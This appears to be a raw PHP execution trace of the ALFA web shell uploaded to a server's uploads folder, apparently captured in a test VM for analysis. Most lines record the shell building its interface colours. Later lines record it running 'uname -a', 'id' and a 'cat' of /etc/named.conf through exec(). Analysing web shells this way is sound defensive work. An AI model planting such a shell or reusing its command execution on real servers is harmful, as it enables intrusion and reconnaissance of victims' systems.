5 221 0 0.024419 2801848 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'input_box:hover'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 221 1 0.024477 2801848
5 221 R '#27979B'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#27979B'
5 222 0 0.024520 2801848 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 222 1 0.024548 2802024
5 222 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= 'input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'select_box_border'
4 A /var/www/html/uploads/alfa.phtml 634 $k = 'select'
5 223 0 0.024654 2801888 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'select_box_border'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['select' => 'border: 1px solid {color}']]
5 223 1 0.024687 2801888
5 223 R '#0E304A'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#0E304A'
5 224 0 0.024712 2801888 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
5 224 1 0.024728 2802040
5 224 R 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= 'select{border: 1px solid #0E304A}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'select_box_text'
4 A /var/www/html/uploads/alfa.phtml 634 $k = 'select'
5 225 0 0.024796 2801864 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'select_box_text'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#FFFFEE', 'multi_selector' => ['select' => 'color: {color};']]
5 225 1 0.024826 2801864
5 225 R '#FFFFEE'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#FFFFEE'
5 226 0 0.024851 2801864 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#FFFFEE' 'color: {color};'
5 226 1 0.024865 2802000
5 226 R 'color: #FFFFEE;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #FFFFEE;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= 'select{color: #FFFFEE;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'select_box:hover'
4 A /var/www/html/uploads/alfa.phtml 634 $k = 'select:hover'
5 227 0 0.024924 2801848 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'select_box:hover'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 227 1 0.024956 2801848
5 227 R '#27979B'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#27979B'
5 228 0 0.024980 2801848 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 228 1 0.024997 2802024
5 228 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= 'select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'button_border'
4 A /var/www/html/uploads/alfa.phtml 634 $k = 'input[type=submit],.button,#addup'
5 229 0 0.025063 2801888 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'button_border'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit],.button,#addup' => 'border: 1px solid {color};']]
5 229 1 0.025094 2801888
5 229 R '#27979B'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#27979B'
5 230 0 0.025118 2801888 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#27979B' 'border: 1px solid {color};'
5 230 1 0.025134 2802040
5 230 R 'border: 1px solid #27979B;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'border: 1px solid #27979B;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= 'input[type=submit],.button,#addup{border: 1px solid #27979B;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'button:hover'
4 A /var/www/html/uploads/alfa.phtml 634 $k = 'input[type=submit]:hover'
5 231 0 0.025195 2801864 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'button:hover'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 231 1 0.025230 2801864
5 231 R '#27979B'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#27979B'
5 232 0 0.025254 2801864 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:2px solid {color};'
5 232 1 0.025271 2802040
5 232 R 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= 'input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.button:hover,#addup:hover'
5 233 0 0.025327 2802400 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'button:hover'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 233 1 0.025365 2802400
5 233 R '#27979B'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#27979B'
5 234 0 0.025390 2802400 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 234 1 0.025406 2802576
5 234 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'outputs_text'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.ml1'
5 235 0 0.025473 2802400 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'outputs_text'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#67ABDF', 'multi_selector' => ['.ml1' => 'color: {color};']]
5 235 1 0.025503 2802400
5 235 R '#67ABDF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#67ABDF'
5 236 0 0.025527 2802400 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#67ABDF' 'color: {color};'
5 236 1 0.025542 2802536
5 236 R 'color: #67ABDF;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #67ABDF;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.ml1{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'outputs_border'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.ml1'
5 237 0 0.025620 2802360 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'outputs_border'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.ml1' => 'border: 1px solid {color};']]
5 237 1 0.025655 2802360
5 237 R '#0E304A'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#0E304A'
5 238 0 0.025679 2802360 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#0E304A' 'border: 1px solid {color};'
5 238 1 0.025695 2802512
5 238 R 'border: 1px solid #0E304A;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'border: 1px solid #0E304A;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.ml1{border: 1px solid #0E304A;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'uploader_border'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.inputfile'
5 239 0 0.025755 2802376 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'uploader_border'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 239 1 0.025788 2802376
5 239 R '#0E304A'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#0E304A'
5 240 0 0.025812 2802376 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#0E304A' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 240 1 0.025828 2802552
5 240 R 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'uploader_background'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.inputfile strong'
5 241 0 0.025893 2802400 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'uploader_background'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile strong' => 'background-color: {color};']]
5 241 1 0.025925 2802400
5 241 R '#0E304A'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#0E304A'
5 242 0 0.025949 2802400 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#0E304A' 'background-color: {color};'
5 242 1 0.025965 2802552
5 242 R 'background-color: #0E304A;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'background-color: #0E304A;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.inputfile strong{background-color: #0E304A;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'uploader_text_right'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.inputfile strong'
5 243 0 0.026030 2802376 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'uploader_text_right'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.inputfile strong' => 'color: {color};']]
5 243 1 0.026060 2802376
5 243 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#FFFFFF'
5 244 0 0.026085 2802376 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 244 1 0.026100 2802512
5 244 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.inputfile strong{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'uploader_text_left'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.inputfile span'
5 245 0 0.026158 2802360 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'uploader_text_left'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#25ff00', 'multi_selector' => ['.inputfile span' => 'color: {color};']]
5 245 1 0.026189 2802360
5 245 R '#25ff00'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#25ff00'
5 246 0 0.026213 2802360 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#25ff00' 'color: {color};'
5 246 1 0.026228 2802496
5 246 R 'color: #25ff00;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #25ff00;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.inputfile span{color: #25ff00;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'uploader:hover'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.inputfile:hover'
5 247 0 0.026286 2802360 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'uploader:hover'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 247 1 0.026318 2802360
5 247 R '#27979B'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#27979B'
5 248 0 0.026342 2802360 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 248 1 0.026359 2802536
5 248 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'uploader_progress_bar'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.up_bar'
5 249 0 0.026423 2802400 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'uploader_progress_bar'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#00ff00', 'multi_selector' => ['.up_bar' => 'background-color: {color};']]
5 249 1 0.026453 2802400
5 249 R '#00ff00'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#00ff00'
5 250 0 0.026477 2802400 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#00ff00' 'background-color: {color};'
5 250 1 0.026493 2802552
5 250 R 'background-color: #00ff00;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'background-color: #00ff00;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.up_bar{background-color: #00ff00;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'mysql_tables'
5 251 0 0.026542 2802376 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'mysql_tables'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#00FF00'
5 251 1 0.026567 2802376
5 251 R '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.mysql_tables{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'mysql_table_count'
5 252 0 0.026613 2802376 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'mysql_table_count'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#67ABDF'
5 252 1 0.026642 2802376
5 252 R '#67ABDF'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#67ABDF'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.mysql_table_count{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'copyright'
5 253 0 0.026688 2802376 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'copyright'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#dfff00'
5 253 1 0.026712 2802376
5 253 R '#dfff00'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#dfff00'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.copyright{color: #dfff00;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'scrollbar'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '*::-webkit-scrollbar-thumb'
5 254 0 0.026768 2802376 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'scrollbar'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#1e82b5', 'multi_selector' => ['*::-webkit-scrollbar-thumb' => 'background-color: {color};']]
5 254 1 0.026799 2802376
5 254 R '#1e82b5'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#1e82b5'
5 255 0 0.026824 2802376 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#1e82b5' 'background-color: {color};'
5 255 1 0.026840 2802528
5 255 R 'background-color: #1e82b5;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'background-color: #1e82b5;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '*::-webkit-scrollbar-thumb{background-color: #1e82b5;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'scrollbar_background'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '*::-webkit-scrollbar-track'
5 256 0 0.026902 2803400 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'scrollbar_background'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#000115', 'multi_selector' => ['*::-webkit-scrollbar-track' => 'background-color: {color};']]
5 256 1 0.026934 2803400
5 256 R '#000115'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#000115'
5 257 0 0.026957 2803400 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#000115' 'background-color: {color};'
5 257 1 0.026973 2803552
5 257 R 'background-color: #000115;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'background-color: #000115;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '*::-webkit-scrollbar-track{background-color: #000115;}'
4 126 1 0.027013 2803344
4 126 R '.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{c'
4 258 0 0.027267 2786960 htmlspecialchars 0 /var/www/html/uploads/alfa.phtml 1073 1 '/var/www/html/uploads/'
4 258 1 0.027286 2787152
4 258 R '/var/www/html/uploads/'
4 259 0 0.027304 2787072 htmlspecialchars 0 /var/www/html/uploads/alfa.phtml 1074 1 'FilesMan2'
4 259 1 0.027318 2787264
4 259 R 'FilesMan2'
4 260 0 0.027333 2787120 htmlspecialchars 0 /var/www/html/uploads/alfa.phtml 1075 1 'Windows-1251'
4 260 1 0.027347 2787312
4 260 R 'Windows-1251'
4 261 0 0.028103 2799248 __showicon 1 /var/www/html/uploads/alfa.phtml 1086 1 'loader'
4 A /var/www/html/uploads/alfa.phtml 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/alfa.phtml 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/alfa.phtml 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 261 1 0.028160 2799248
4 261 R 'http://solevisible.com/images/loader.svg'
4 262 0 0.028178 2799248 alfaEx 1 /var/www/html/uploads/alfa.phtml 1087 4 'uname -a' FALSE FALSE ???
5 263 0 0.028194 2799248 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'uname -a' FALSE
5 A /var/www/html/uploads/alfa.phtml 758 $out = ''
6 264 0 0.028219 2799248 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
6 264 1 0.028233 2799288
6 264 R TRUE
6 265 0 0.028247 2799272 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'uname -a' ''
6 265 1 0.029541 2800032
6 265 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6 266 0 0.029576 2799808 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux']
6 266 1 0.029615 2799872
6 266 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5 A /var/www/html/uploads/alfa.phtml 763 $out = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5 263 1 0.029656 2799408
5 263 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4 A /var/www/html/uploads/alfa.phtml 744 $data = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4 262 1 0.029692 2799408
4 262 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
3 A /var/www/html/uploads/alfa.phtml 1087 $cmd_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4 267 0 0.029728 2799408 function_exists 0 /var/www/html/uploads/alfa.phtml 1088 1 'php_uname'
4 267 1 0.029743 2799448
4 267 R TRUE
4 268 0 0.029756 2799408 php_uname 0 /var/www/html/uploads/alfa.phtml 1088 0
4 268 1 0.029770 2799520
4 268 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
4 269 0 0.029789 2799520 substr 0 /var/www/html/uploads/alfa.phtml 1088 3 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 0 120
4 269 1 0.029807 2799616
4 269 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3 A /var/www/html/uploads/alfa.phtml 1088 $uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3 A /var/www/html/uploads/alfa.phtml 1098 $s = 1
3 A /var/www/html/uploads/alfa.phtml 1098 $s++
3 A /var/www/html/uploads/alfa.phtml 1098 $s++
3 A /var/www/html/uploads/alfa.phtml 1098 $s++
3 A /var/www/html/uploads/alfa.phtml 1098 $s++
3 A /var/www/html/uploads/alfa.phtml 1098 $s++
3 A /var/www/html/uploads/alfa.phtml 1098 $s++
3 A /var/www/html/uploads/alfa.phtml 1098 $s++
3 A /var/www/html/uploads/alfa.phtml 1098 $s++
3 A /var/www/html/uploads/alfa.phtml 1098 $s++
3 A /var/www/html/uploads/alfa.phtml 1098 $s++
4 270 0 0.029933 2800800 phpversion 0 /var/www/html/uploads/alfa.phtml 1116 0
4 270 1 0.029946 2800864
4 270 R '7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
4 271 0 0.029964 2801312 date 0 /var/www/html/uploads/alfa.phtml 1124 1 'Y-m-d H:i:s'
4 271 1 0.030024 2803664
4 271 R '2023-02-12 22:27:34'
4 272 0 0.030046 2801584 _alfa_file 1 /var/www/html/uploads/alfa.phtml 1130 2 '/etc/named.conf' FALSE
5 273 0 0.030063 2801584 file 0 /var/www/html/uploads/alfa.phtml 2507 1 '/etc/named.conf'
5 273 1 0.030090 2801736
5 273 R FALSE
4 A /var/www/html/uploads/alfa.phtml 2507 $array = FALSE
5 274 0 0.030116 2801696 alfaEx 1 /var/www/html/uploads/alfa.phtml 2509 4 'id' FALSE FALSE ???
6 275 0 0.030130 2801696 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'id' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 276 0 0.030153 2801696 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 276 1 0.030167 2801736
7 276 R TRUE
7 277 0 0.030179 2801720 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'id' ''
7 277 1 0.031603 2802320
7 277 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7 278 0 0.031632 2802176 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
7 278 1 0.031651 2802240
7 278 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 A /var/www/html/uploads/alfa.phtml 763 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 275 1 0.031682 2801776
6 275 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 A /var/www/html/uploads/alfa.phtml 744 $data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 274 1 0.031717 2801776
5 274 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 279 0 0.031734 2801696 addslashes 0 /var/www/html/uploads/alfa.phtml 2510 1 '/etc/named.conf'
5 279 1 0.031748 2801728
5 279 R '/etc/named.conf'
5 280 0 0.031764 2801744 alfaEx 1 /var/www/html/uploads/alfa.phtml 2510 4 'cat "/etc/named.conf"' FALSE FALSE ???
6 281 0 0.031779 2801744 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'cat "/etc/named.conf"' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 282 0 0.031804 2801744 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 282 1 0.031818 2801784
7 282 R TRUE
7 283 0 0.031831 2801768 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'cat "/etc/named.conf"' ''
7 283 1 0.032768 2801888
7 283 R ''
7 284 0 0.032790 2801824 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' []
7 284 1 0.032804 2801888
7 284 R ''
6 A /var/www/html/uploads/alfa.phtml 763 $out = ''
6 281 1 0.032830 2801744
6 281 R ''
5 A /var/www/html/uploads/alfa.phtml 744 $data = ''
5 280 1 0.032854 2801744
5 280 R ''
4 A /var/www/html/uploads/alfa.phtml 2510 $data = ''
4 272 1 0.032878 2801696
4 272 R FALSE
3 A /var/www/html/uploads/alfa.phtml 1130 $d0mains = FALSE
3 A /var/www/html/uploads/alfa.phtml 1131 GLOBALS['need_to_update_header'] = 'true'
4 285 0 0.032918 2801696 alfaSize 1 /var/www/html/uploads/alfa.phtml 1146 1 232015802368
5 286 0 0.032933 2801696 sprintf 0 /var/www/html/uploads/alfa.phtml 2411 2 '%1.2f' 216.08155441284
5 286 1 0.032949 2802080
5 286 R '216.08'
4 285 1 0.032963 2801736
4 285 R '216.08 GB'
4 287 0 0.032978 2801920 alfaSize 1 /var/www/html/uploads/alfa.phtml 1146 1 195997663232
5 288 0 0.032992 2801920 sprintf 0 /var/www/html/uploads/alfa.phtml 2411 2 '%1.2f' 182.53704833984
5 288 1 0.033006 2802304
5 288 R '182.54'
4 287 1 0.033020 2801960
4 287 R '182.54 GB'
3 A /var/www/html/uploads/alfa.phtml 1149 $useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>'
4 289 0 0.033057 2801696 ini_get 0 /var/www/html/uploads/alfa.phtml 1150 1 'safe_mode'
4 289 1 0.033071 2801728
4 289 R FALSE
4 290 0 0.033084 2801696 alfaEx 1 /var/www/html/uploads/alfa.phtml 1151 4 'id' FALSE FALSE ???
5 291 0 0.033098 2801696 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'id' FALSE
5 A /var/www/html/uploads/alfa.phtml 758 $out = ''
6 292 0 0.033122 2801696 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
6 292 1 0.033135 2801736
6 292 R TRUE
6 293 0 0.033148 2801720 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'id' ''
6 293 1 0.034356 2802320
6 293 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 294 0 0.034383 2802176 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
6 294 1 0.034400 2802240
6 294 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 A /var/www/html/uploads/alfa.phtml 763 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 291 1 0.034430 2801776
5 291 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4 A /var/www/html/uploads/alfa.phtml 744 $data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4 290 1 0.034459 2801776
4 290 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
